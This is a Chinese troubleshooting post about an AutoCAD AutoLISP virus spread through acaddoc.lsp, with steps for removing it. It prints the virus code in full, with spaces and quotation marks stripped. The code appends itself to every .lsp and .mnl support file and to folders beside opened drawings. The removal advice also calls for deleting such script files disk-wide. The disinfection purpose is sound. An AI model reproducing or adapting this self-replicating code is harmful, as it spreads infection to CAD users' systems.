AutoCAD菜单实用程序已加载

AutoCAD菜单实用程序已加载。;错误:输入的列表有缺陷AutoCAD菜单实用程序已加载。;错误:输入的列表有缺陷===============================================acaddoc.lspCAD出现这种现象基本有以下几种情况：1。一般是由CAD的安装目录下或CAD的SUPPORT目录下有acad.lsp这个文件引起的。这个文件可能是单位里有自己开发的程序，使自己单位人员编写的。2。CAD病毒程序。判断是不是CAD被病毒破坏3。查找电脑的其它目录中（主要是windows的系统目录）是否还有这些文件：hysoft*.dll,KtCnPub*.dll及RyClient.dllsx32w.dll，如果有，删除后试一下（除了软件目录下的）。（搜索文件时，注意选择“搜索隐藏的文件”）================================================以下是相关操作步骤：1、若发现文件夹中多出ACADDOC.LSP文件即说明你的CAD中毒了。2、关闭CAD程序。3、全盘搜索*.fas*.lsp*.mnl*.arx文件，除了CAD安装目录以外的该类文件均全部删除。4、检查CAD安装目录文件的修改时间，把ACADDOC.LSP病毒感染X:/ProgramFiles/AutoCAD20**/Support文件夹下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件以及C:/DocumentsandSettings/用户名/ApplicationData/Autodesk/AutoCAD20**/R16.2/chs/Support下的*.MNL文件中的病毒代码删除。（用记事本打开）5、把CAD安装目录中的所有*.fas*.lsp*.mnl*.arx文件改为只读属性。说明：要删除的病毒代码在文件的尾部，具体如下：(setqflagxt)(setqbz(setqflagxt))(defunapp(sourcetargetbz/flagflag1wjmwjm1text)(setqflagnil)(setqflag1t)(if(findfiletarget)(progn(setqwjm1(opentargetr))(while(setqtext(read-linewjm1))(if(=textbz)(setqflag1nil)));while(closewjm1));progn);if(ifflag1(progn(setqwjm(opensourcer))(setqwjm1(opentargeta))(write-line(chr13)wjm1)(while(setqtext(read-linewjm))(if(=textbz)(setqflagt))(ifflag(progn(write-linetextwjm1));progn);if);while(closewjm1)(closewjm));progn);if);defun(setvarcmdecho0)(setqacadmnl(findfileacad.mnl))(setqacadmnlpath(vl-filename-directoryacadmnl))(setqmnlfilelist(vl-directory-filesacadmnlpath*.mnl))(setqmnlnum(lengthmnlfilelist))(setqacadexe(findfileacad.exe))(setqacadpath(vl-filename-directoryacadexe))(setqsupport(strcatacadpath//support))(setqlspfilelist(vl-directory-filessupport*.lsp))(setqlspfilelist(appendlspfilelist(listacaddoc.lsp)))(setqlspnum(lengthlspfilelist))(setqdwgname(getvardwgname))(setqdwgpath(findfiledwgname))(ifdwgpath(progn(setqacaddocpath(vl-filename-directorydwgpath))(setqacaddocfile(strcatacaddocpath//acaddoc.lsp))(setqmnln0)(while(mnlnmnlnum)(setqmnlfilename(strcatacadmnlpath//(nthmnlnmnlfilelist)))(appmnlfilenameacaddocfilebz)(appacaddocfilemnlfilenamebz)(setqmnln(1+mnln)));while(setqlspn0)(while(lspnlspnum)(setqlspfilename(strcatsupport//(nthlspnlspfilelist)))(applspfilenameacaddocfilebz)(appacaddocfilelspfilenamebz)(setqlspn(1+lspn)));while);progn);if(setqmnln0)(while(mnlnmnlnum)(setqmnlfilename(strcatacadmnlpath//(nthmnlnmnlfilelist)))(setqmnln10)(while(mnln1mnlnum)(setqmnlfilename1(strcatacadmnlpath//(nthmnln1mnlfilelist)))(appmnlfilenamemnlfilename1bz)(setqmnln1(1+mnln1)));while(setqlspn10)(while(lspn1lspnum)(setqlspfilename1(strcatsupport//(nthlspn1lspfilelist)))(appmnlfilenamelspfilename1bz)(setqlspn1(1+lspn1)));while(setqmnln(1+mnln)));while(setqlspn0)(while(lspnlspnum)(setqlspfilename(strcatsupport//(nthlspnlspfilelist)))(setqlspn10)(while(lspn1lspnum)(setqlspfilename1(strcatsupport//(nthlspn1lspfilelist)))(applspfilenamelspfilename1bz)(setqlspn1(1+lspn1)));while(setqmnln10)(while(mnln1mnlnum)(setqmnlfilename1(strcatacadmnlpath//(nthmnln1mnlfilelist)))(applspfilenamemnlfilename1bz)(setqmnln1(1+mnln1)));while(setqlspn(1+lspn))(loadacadapq)(princ)后面可能还会有一些病毒程序代码，但大同小异，大部分以(setqflagxt)开头。该方法绝对不会对CAD的功能使用造成影响，请大家放心使用。＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝照此方法操作，再启动Autocad和打开文件时没有“输入的列表有缺陷”的提示了，启动速度快了，并且3DArray命令可以使用了。非常感谢该文的作者。